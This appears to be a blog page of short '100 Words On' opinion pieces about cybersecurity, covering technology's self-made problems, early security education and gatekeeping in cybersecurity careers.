I have often said that, “Information Technology is the only industry whose growth is dependent on the problems it creates” with good reason. Touted as a solution that will eliminate human error, we forget that humans create technology which is therefore susceptible to human error itself. If technology was perfect, there would be no operating system patches, upgrades, or vulnerabilities to address. Often, in the rush to get new technology to market, corners are cut and issues overlooked. Good becomes simply good enough. The inevitable impact is that problems arise and must be dealt with, driving growth. And more problems.
100 Words On….. Education
By: Digitally Vicarious
Tags: Information Technology, 100 Words Project, Cybersecurity, Information Security, Education

Photo by Susan Yin on Unsplash

Cyber Security is a constant learning curve that changes daily. New threats are emerging while old threats continue to plague us. Entering the workforce after years of education, we are bombarded with reminders to be vigilant. I often think many have begun their cyber security awareness training too late. With nearly every child today not knowing a world without the Internet, smart phones, and millions of apps, are we finding more wilful ignorance or simply desensitisation? Experience and cyber smarts are best started from an early age to gain a crucial employment advantage, protect our valuable data, and remain secure.
100 Words On….. Gatekeeping
By: Digitally Vicarious
Tags: Information Technology, Cybersecurity, Information Security, Careers, Gatekeeping

Photo by Masaaki Komori on Unsplash

Why engage in gatekeeping when there is more upside from letting people “in” than downside from keeping people “out”? Are we somehow doing the industry a favour through this illusion of exclusivity? Why discourage or prevent anyone from achieving what we have because they did not follow the same path? We hear of the struggles in establishing a cybersecurity career and constantly complain of a “skills shortage” but become defensive of our place in the world. Career entry is inconsistent and complex. Attitude and aptitude are critical and some of the best cyber minds are not from a technical background.